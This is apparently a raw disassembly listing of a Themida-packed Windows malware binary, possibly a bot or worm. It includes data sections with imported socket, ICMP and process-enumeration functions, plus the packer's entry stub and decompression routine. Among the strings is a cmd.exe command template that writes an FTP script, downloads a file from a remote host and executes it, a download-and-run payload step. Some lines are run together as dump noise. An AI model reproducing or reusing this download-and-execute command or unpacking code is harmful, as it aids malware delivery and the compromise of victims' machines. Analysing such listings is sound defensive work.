xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_448BA8
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043762Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_448CA0 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o
; ___:0043F354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Fh dup(0)
byte_448F40 db 0 ; DATA XREF: sub_403530+95o
; sub_404690+200o ...
align 4
dword_448F44 dd 0 ; sub_4246D0+11o ...
dword_448F48 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ...
align 10h
dword_448F50 dd 0 ; ___:0040D425w ...
dd 8 dup(0)
dword_448F74 dd 41h dup(0) ; ___:0040D460o ...
dword_449078 dd 0 ; ___:loc_40D4B4r ...
dword_44907C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ...
dword_449080 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw
dword_449084 dd 0 ; sub_40D660+E3r
dd 11h dup(0)
dword_4490CC dd 0 ; sub_410030+47Dr
dword_4490D0 dd 0 ; sub_410030+515r ...
dword_4490D4 dd 0 ; sub_410030+655r ...
dword_4490D8 dd 0 ; sub_410030+B79r ...
dword_4490DC dd 0 ; sub_410030+74Br
dword_4490E0 dd 0 ; sub_410030+828r
dword_4490E4 dd 0 ; sub_410030+77Cr
dword_4490E8 dd 0 ; sub_410030+4DDr ...
dword_4490EC dd 0 ; sub_410030+311r
dword_4490F0 dd 0 ; sub_410030+34Dr ...
dword_4490F4 dd 0 ; sub_410030+33Dr
dword_4490F8 dd 0 ; sub_410030+3D2r
dword_4490FC dd 0 ; sub_410030+E93r
dword_449100 dd 0 ; sub_410030+1220r ...
dword_449104 dd 0 ; sub_4120B0+4DAr
dword_449108 dd 0 ; sub_410030+683r
dword_44910C dd 0 ; sub_410030+6B5r
dword_449110 dd 0 ; sub_410030+1252r
dd 5 dup(0)
dword_449128 dd 10h dup(0) ; ___:004040AFo ...
db 2 dup(0)
byte_44916A db 0 ; DATA XREF: sub_409B10r sub_409B80r
align 4
db 3 dup(0)
byte_44916F db 0 ; DATA XREF: sub_40D660+10Fr
db 0
byte_449171 db 0 ; DATA XREF: sub_40DBF0r
word_449172 dw 0 ; DATA XREF: sub_40DBF0+9o
dd 44h dup(0)
db 3 dup(0)
byte_449287 db 0 ; DATA XREF: ___:00412F9Ao
; ___:0041304Fo ...
db 3 dup(0)
byte_44928B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr
align 10h
dword_449290 dd 12h dup(0) ; sub_410030+114o
db 0
byte_4492D9 db 3 dup(0) ; DATA XREF: ___:00408B9Fo
; sub_410030+159o ...
dd 11h dup(0)
db 2 dup(0)
word_449322 dw 0 ; DATA XREF: ___:00408B76o
; sub_410030+132o
dd 6 dup(0)
word_44933C dw 0 ; DATA XREF: sub_410030+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44936B db 0 ; DATA XREF: ___:00408BC8o
; sub_410030+17Co ...
dd 12h dup(0)
dword_4493B4 dd 12h dup(0) ; sub_410030+F7o ...
db 0
byte_4493FD db 3 dup(0) ; DATA XREF: ___:00408B01o
; sub_410030+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_44948F db 0 ; DATA XREF: ___:00408BF1o
; sub_410030+19Ao
dd 24h dup(0)
db 0
byte_449521 db 3 dup(0) ; DATA XREF: sub_425100+2Bo
; sub_425100+37o ...
dd 11h dup(0)
db 2 dup(0)
word_44956A dw 0 ; DATA XREF: ___:00412F6Ao
; ___:00412F89o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44965F dd 0 ; sub_41F030+154r ...
align 4
dd 35h dup(0)
db 0
byte_449739 db 0 ; DATA XREF: sub_41BA50+18r
align 4
dd 36h dup(0)
byte_449814 db 0 ; DATA XREF: sub_410030+842r
align 4
dd 0Bh dup(0)
dword_449844 dd 18h dup(0) ; sub_40EE40+97o ...
db 2 dup(0)
byte_4498A6 db 0 ; DATA XREF: sub_404CC0+258r
; sub_41D930+66Er
align 4
dd 11h dup(0)
db 3 dup(0)
byte_4498EF db 0 ; DATA XREF: sub_404CC0:loc_404F30r
; sub_41D930:loc_41DFB6r
dd 0Bh dup(0)
db 3 dup(0)
byte_44991F db 0 ; DATA XREF: sub_404CC0+279o
; sub_41D930+68Fo ...
dd 12h dup(0)
dword_449968 dd 2Bh dup(0) ; sub_41F030+630o ...
dword_449A14 dd 0 dd 11h dup(0)
db 0
dword_449A5D dd 0 align 4
dd 0D9h dup(0)
byte_449DC8 db 0 ; DATA XREF: sub_41F030+146r
; sub_41F030+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_44AC6E dw 0 ; DATA XREF: sub_404690+1BDo
; sub_404B60+31o ...
db 2 dup(0)
word_44AC72 dw 0 ; DATA XREF: sub_404B60+4o
dd 1Ch dup(0)
db 2 dup(0)
word_44ACE6 dw 0 ; DATA XREF: sub_4076B0+36o
; sub_407740+3Eo ...
dd 26h dup(0)
dword_44AD80 dd 86h dup(0) ; sub_404CC0+27Eo ...
db 3 dup(0)
byte_44AF9B db 0 ; DATA XREF: sub_426930+3Bw
; sub_4269A0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_44B19B dd 0 ; sub_4269A0+4Fw ...
dword_44B19F dd 0 ; ___:0042419Dw ...
dword_44B1A3 dd 0 ; sub_4269A0+5Dr ...
dword_44B1A7 dd 0 ; sub_4269A0+8Cr ...
dword_44B1AB dd 0 ; sub_4269A0+9Dr
dword_44B1AF dd 0 ; ___:004241D1r ...
byte_44B1B3 db 0 ; DATA XREF: sub_426930+42w
; sub_4269A0+85w
dword_44B1B4 dd 2824h dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_446F04o
dd 0EB85h dup(0)
dword_49005C dd 0BD23h dup(0) db 0
byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o
dd 46C9h dup(0)
dword_4D1010 dd 0D0Fh dup(0) db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44531Co
dd 0ED2h dup(0)
db 3 dup(0)
dword_4D7F9B dd 0 ; sub_426BD0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D8085 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo
; sub_404CC0+65o ...
dd 5 dup(0)
byte_4D809C db 0 ; DATA XREF: sub_404CC0+292w
; sub_404CC0+4EBw
dword_4D809D dd 0 ; sub_422B40:loc_4232C4r ...
align 4
dd 0
db 0
dword_4D80A9 dd 0 ; sub_404C70+2Aw
byte_4D80AD db 3 dup(0) ; DATA XREF: ___:00412FC4o
; ___:00412FE7o
dd 9 dup(0)
db 3 dup(0)
dword_4D80D7 dd 0 ; sub_428DC0:loc_428EB7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D819B db 0 ; DATA XREF: sub_426B60+16o
; sub_426B90+19o
db 3 dup(0)
byte_4D819F db 0 ; DATA XREF: sub_426A90+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D835F db 0 ; DATA XREF: ___:0040828Do
; ___:0040871Eo ...
dd 8 dup(0)
dword_4D8380 dd 0 dd 51h dup(0)
db 0
byte_4D84C9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r
; sub_427FD0:loc_428085r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D8745 dd 0 ; sub_427FD0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4E02B5 db 3 dup(0) ; DATA XREF: ___:00419F93o
; sub_41A050+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E7D9F db 0 ; DATA XREF: sub_427D50+1Do
dd 21h dup(0)
db 0
byte_4E7E25 db 3 dup(0) ; DATA XREF: ___:00419FA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E86FF db 0 ; DATA XREF: sub_427D50+2Fo
dd 1D5h dup(0)
byte_4E8E54 db 0 ; DATA XREF: sub_404CC0+299w
; sub_410030:loc_410072r ...
byte_4E8E55 db 3 dup(0) ; DATA XREF: sub_404CC0+235o
; sub_404CC0+874o ...
dd 4 dup(0)
db 2 dup(0)
word_4E8E6A dw 0 ; DATA XREF: sub_404CC0+2D4o
; ___:00408732o ...
dd 0Fh dup(0)
db 0
byte_4E8EA9 db 0 ; DATA XREF: sub_41F960+31w
; sub_41F960+47w ...
db 0
byte_4E8EAB db 0 ; DATA XREF: sub_418590+21o
; sub_41D930+341o ...
dword_4E8EAC dd 6D2Ah dup(0)
dword_504354 dd 12BAh dup(0) dword_508E3C dd 1000h dup(0) ; ___:00419B9Do ...
dword_50CE3C dd 333h dup(0) ; ___:00419BB8o ...
dword_50DB08 dd 0 ; sub_41A110+1Br ...
dd 3 dup(0)
dword_50DB18 dd 0 ; ___:0041FC3Dw ...
dword_50DB1C dd 0 ; sub_41FB90+2Aw ...
dword_50DB20 dd 0 dword_50DB24 dd 0 ; ___:0041FC5Bw
dword_50DB28 dd 0 dword_50DB2C dd 0 ; ___:0041FC67w ...
dword_50DB30 dd 0 ; ___:0041FC6Dw ...
dword_50DB34 dd 0 ; ___:00420EA9o
dword_50DB38 dd 0 ; sub_41FB90:loc_41FBB4r ...
dword_50DB3C dd 0 ; ___:0041FC81w
dword_50DB40 dd 0 ; sub_420630+41w ...
dword_50DB44 dd 0 ; sub_420630+7Fr
dword_50DB48 dd 0 ; sub_420630+92r ...
dword_50DB4C dd 0 ; sub_420630+148r
dd 3 dup(0)
dword_50DB5C dd 0 ; ___:0041C2A5o
dword_50DB60 dd 0 ; sub_423820+5r ...
dword_50DB64 dd 0 ; ___:00423FABr ...
dd 7CEh dup(0)
dword_50FAA0 dd 6 dup(0) ; ___:00423EAFo ...
dword_50FAB8 dd 196h dup(0) ; sub_423760+6Do
dword_510110 dd 0 word_510114 dw 0 ; DATA XREF: sub_424F70+A9r
align 4
word_510118 dw 0 ; DATA XREF: sub_4253C0+45r
; sub_4257F0+DAr
align 4
dword_51011C dd 0 dd 0
byte_510124 db 0 ; DATA XREF: sub_4267D0:loc_426830r
; sub_4267D0+97w
align 4
dword_510128 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r
dword_51012C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r
dword_510130 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ...
align 8
dword_510138 dd 80h dup(0) ; sub_427D50+129o
dword_510338 dd 0 dword_51033C dd 0 dd 1Dh dup(0)
dword_5103B4 dd 0 ; ___:0042C40Dr ...
dword_5103B8 dd 0 ; sub_42DE00:loc_42DE96r ...
dword_5103BC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ...
dword_5103C0 dd 0 dword_5103C4 dd 0 ; sub_431560r ...
dword_5103C8 dd 0 dword_5103CC dd 0 ; sub_4309A0+111w ...
dword_5103D0 dd 0 ; sub_4309A0+F6r ...
dword_5103D4 dd 0 ; ___:loc_4316A0r
dword_5103D8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ...
dd 2 dup(0)
dd 0
dd 13Eh dup(0)
dword_5108E0 dd 10h dup(0) ; sub_431470:loc_4314A0o ...
dword_510920 dd 8 dup(0) ; sub_430830+25o ...
dword_510940 dd 8 dup(0) ; sub_431980+25o ...
dword_510960 dd 8 dup(0) ; sub_432850+84o ...
dword_510980 dd 8 dup(0) ; sub_432850+8Bo ...
dword_5109A0 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ...
dd 0FFFFFFFFh, 3 dup(0)
dd 0FFFFFFFFh
dd 18Ah dup(0)
dd 5 dup(8AA6605h), 5 dup(71D92A02h), 5 dup(31540AF5h)
dd 5 dup(5D5512EAh), 5 dup(0EA5CC7Bh), 5 dup(108DBD77h)
dd 5 dup(5794B789h), 5 dup(6B64E8DCh), 5 dup(3D214508h)
dd 5 dup(33165203h), 5 dup(3FF0D1B3h), 1Eh dup(0)
dd 108DBD77h, 10h dup(0)
dd 3FF0D1B3h, 59h dup(0)
; ---------------------------------------------------------------------------
jmp far ptr loc_5D5512
; ---------------------------------------------------------------------------
align 4
dd 1Bh dup(0)
dd 3D214508h, 14h dup(0)
dd 71D92A02h, 52h dup(0)
dd 8AA6605h, 1Bh dup(0)
dd 33165203h, 0Bh dup(0)
dd 5794B789h, 0Ch dup(0)
dd 0EA5CC7Bh, 2Bh dup(0)
dd 6B64E8DCh, 11h dup(0)
dd 31540AF5h, 0Ah dup(0)
dd 2890B07h, 28A0000h, 28B0000h
dword_511718 dd 28B141Eh dd 28B15A2h
dword_511720 dd 28B1802h dd 28B1C08h, 28C0000h
dword_51172C dd 28D0000h dd 28E0000h, 28E0314h, 28E0606h, 28E09B2h
dword_511740 dd 28F0000h ; sub_40E870+25Ar ...
dword_511744 dd 28F0647h dword_511748 dd 28F08DDh dd 28F0B72h, 2900000h
dword_511754 dd 29003DCh ; sub_40EE40+15Er ...
dd 2900659h
dword_51175C dd 2910000h ; sub_40E870+22Cr
dd 2910D27h
dword_511764 dd 2920000h ; sub_4208E0+285r ...
dd 2930000h
dword_51176C dd 29311CFh ; sub_40E870+24Cr
dd 10h dup(0)
dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0 dd 2700000h ; sub_420630+FEr
dd 2710000h, 2720000h, 2720750h, 27208F0h, 2720C39h, 2730000h
dd 2730227h, 27309CBh, 2740000h, 27403EDh, 2740634h, 2740D88h
dd 2750000h, 27502F0h, 275062Eh, 2750975h, 2750D94h, 2760000h
dd 27603C9h, 2760404h, 27609AEh, 2760A39h, 2760D79h, 2770000h
dd 27701A2h, 277040Fh, 27705E6h, 27707F3h, 27708E8h, 2770A06h
dd 2770AF3h, 2780000h
dword_511864 dd 27806CFh dword_511868 dd 2780DF8h dword_51186C dd 2790000h dd 7C901005h, 7C9010EDh, 27901BAh, 27901DCh, 27901F7h
dd 279037Eh, 27A0000h, 27A04C7h, 27A087Ch, 27B0000h, 27C0000h
dd 27C0849h, 27D0000h, 27E0000h, 27E08BCh
dword_5118AC dd 27E0C08h ; sub_410030+47r ...
dd 27E0C41h, 27F0000h, 27F04A6h, 2800000h, 28010B2h, 2810000h
dd 2820000h
dword_5118CC dd 282155Fh dd 28217C4h, 2821D79h
dword_5118D8 dd 2830000h ; sub_41B5B0+2Fr ...
dd 2830101h
dword_5118E0 dd 2830910h ; sub_4204D0+2Er ...
dd 2840000h, 28403B1h, 2850000h
dword_5118F0 dd 2850440h dd 285069Dh, 2860000h, 2870000h, 287102Ch, 2871C12h, 2880000h
dd 288065Fh, 2880AE7h
dd 2880C4Eh
dword_511918 dd 2890000h ; sub_420630:loc_42067Cr ...
dd 1Ah dup(0)
dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0)
dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0 dd 760AC190h dd 0Dh dup(0)
; ---------------------------------------------------------------------------
xchg eax, esp
pop esp
retn
; ---------------------------------------------------------------------------
ja short loc_511A99
push ebx
retn
; ---------------------------------------------------------------------------
db 77h
db 0DBh ; ш
db 0F1h ; Я
db 0C1h ; а
db 77h ; w
; ---------------------------------------------------------------------------
loc_511A24: ; CODE XREF: ___:00511A34j
movsb
icebp
sal dword ptr [edi-28h], 23h
mov byte ptr [edi+75h], 0D6h
les esi, [edi+67h]
popf
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
jmp short loc_511A24
; ---------------------------------------------------------------------------
sal dword ptr [edi-54h], 17h
mov byte ptr [edi-52h], 2Dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
dd 77C4186Ah
dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ...
dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h
dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
imul dh
retn
; ---------------------------------------------------------------------------
db 77h
db 72h
; ---------------------------------------------------------------------------
loc_511A99: ; CODE XREF: ___:00511A1Bj
sbb eax, esp
; ---------------------------------------------------------------------------
db 77h
dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h
dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr
; ---------------------------------------------------------------------------
adc al, dh
retn
; ---------------------------------------------------------------------------
db 77h
dd 77C40AB1h, 77C4FA10h
dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ...
dd 77C371BCh
dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ...
dd 77C2C407h
dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh
dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r
dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ...
db 90h
db 0CFh, 0C1h, 77h
dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
mul byte ptr [esi]
retn 0E777h
; ---------------------------------------------------------------------------
db 14h, 0C2h, 77h
dd 77C29CC5h
dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr
dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ...
dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr
dd 77C29CDDh, 77C293C7h
dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ...
dd 77C35F0Dh
dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h
dd 77C46320h
dd 19h dup(0)
dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0)
dd 7CA41110h, 0Bh dup(0)
dd 2890794h
off_511C00 dd offset sub_5F74D1 ; DATA XREF: ___:00419FBDr
; sub_41A050+2Dr ...
dd 0Bh dup(0)
dd 71AB951Eh, 71AB3E00h
dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ...
dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br
dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h
dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h
dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r
dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
dd 71AB2A5Eh, 71AB4FD4h
dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h
dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ...
dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ...
dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ...
dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ...
dd 71AB2BF4h
dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r
dd 71ABE479h, 11h dup(0)
dd 76D6AC1Dh, 4C1h dup(0)
___ ends
; Section 2. (virtual address 00113000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00113000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 513000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00114000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00114000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 514000h
dd 7C801A24h, 7C81CDDAh, 0
aE db 'оe',9,']',0
align 10h
dd 114050h, 114000h, 3 dup(0)
dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00115000)
; Virtual size : 00104000 (1064960.)
; Section size in file : 00104000 (1064960.)
; Offset to raw data for section: 00115000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 515000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 7489358Ch, 42C95h, 5F805h, 15A172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00583441 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058698A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00586C00 SIZE 0000005C BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_515086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_515041
popa
jmp short loc_515076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
inc eax
loc_515041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51504E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51506D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_515074
loc_51506D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_51504E
; ---------------------------------------------------------------------------
loc_515074: ; CODE XREF: start+57j
mov edi, eax
loc_515076: ; CODE XREF: start+1Bj
jmp loc_515265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11526Ah
add ecx, edi
jmp short loc_515090
; ---------------------------------------------------------------------------
loc_515086: ; CODE XREF: start+8j
mov eax, offset loc_583441
mov ecx, offset word_51526A
loc_515090: ; CODE XREF: start+70j
push eax
push ecx
call sub_51511B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_515265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51511B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_515132: ; CODE XREF: sub_51511B+7Aj
; sub_51511B+C3j ...
add dl, dl
jnz short loc_51513B
mov dl, [esi]
inc esi
adc dl, dl
loc_51513B: ; CODE XREF: sub_51511B+19j
jnb short loc_515127
add dl, dl
jnz short loc_515146
mov dl, [esi]
inc esi
adc dl, dl
loc_515146: ; CODE XREF: sub_51511B+24j
jnb short loc_515197
xor eax, eax
add dl, dl
jnz short loc_515153
mov dl, [esi]
inc esi
adc dl, dl
loc_515153: ; CODE XREF: sub_51511B+31j
jnb loc_515238
add dl, dl
jnz short loc_515162
mov dl, [esi]
inc esi
adc dl, dl
loc_515162: ; CODE XREF: sub_51511B+40j
adc eax, eax
add dl, dl
jnz short loc_51516D
mov dl, [esi]
inc esi
adc dl, dl
loc_51516D: ; CODE XREF: sub_51511B+4Bj
adc eax, eax
add dl, dl
jnz short loc_515178
mov dl, [esi]
inc esi
adc dl, dl
loc_515178: ; CODE XREF: sub_51511B+56j
adc eax, eax
add dl, dl
jnz short loc_515183
mov dl, [esi]
inc esi
adc dl, dl
loc_515183: ; CODE XREF: sub_51511B+61j
adc eax, eax
jz short loc_51518D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51518D: ; CODE XREF: sub_51511B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_515132
; ---------------------------------------------------------------------------
loc_515197: ; CODE XREF: sub_51511B:loc_515146j
mov eax, 1
loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j
add dl, dl
jnz short loc_5151A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5151A5: ; CODE XREF: sub_51511B+83j
adc eax, eax
add dl, dl
jnz short loc_5151B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5151B0: ; CODE XREF: sub_51511B+8Ej
jb short loc_51519C
sub eax, ebx
mov ebx, 1
jnz short loc_5151E3
mov ecx, 1
loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j
add dl, dl
jnz short loc_5151C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5151C9: ; CODE XREF: sub_51511B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5151D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5151D4: ; CODE XREF: sub_51511B+B2j
jb short loc_5151C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_5151E3: ; CODE XREF: sub_51511B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j
add dl, dl
jnz short loc_5151FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5151FA: ; CODE XREF: sub_51511B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_515205
mov dl, [esi]
inc esi
adc dl, dl
loc_515205: ; CODE XREF: sub_51511B+E3j
jb short loc_5151F1
cmp eax, 7D00h
jnb short loc_515228
cmp eax, 500h
jb short loc_515223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515223: ; CODE XREF: sub_51511B+F8j
cmp eax, 7Fh
ja short loc_51522B
loc_515228: ; CODE XREF: sub_51511B+F1j
add ecx, 2
loc_51522B: ; CODE XREF: sub_51511B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515238: ; CODE XREF: sub_51511B:loc_515153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_515259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515259: ; CODE XREF: sub_51511B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51511B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_515265: ; CODE XREF: start:loc_515076j
; start+9Dj
jmp loc_583441
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_51526A dw 38E9h ; DATA XREF: start+77o
dd 1563544h, 8478F3EBh, 52E0EA6Ah, 741C7365h, 41CE7261h
dd 4F2E2F70h, 0FF239C78h, 4F038FCh, 98A2BB46h, 0FFFA102Eh
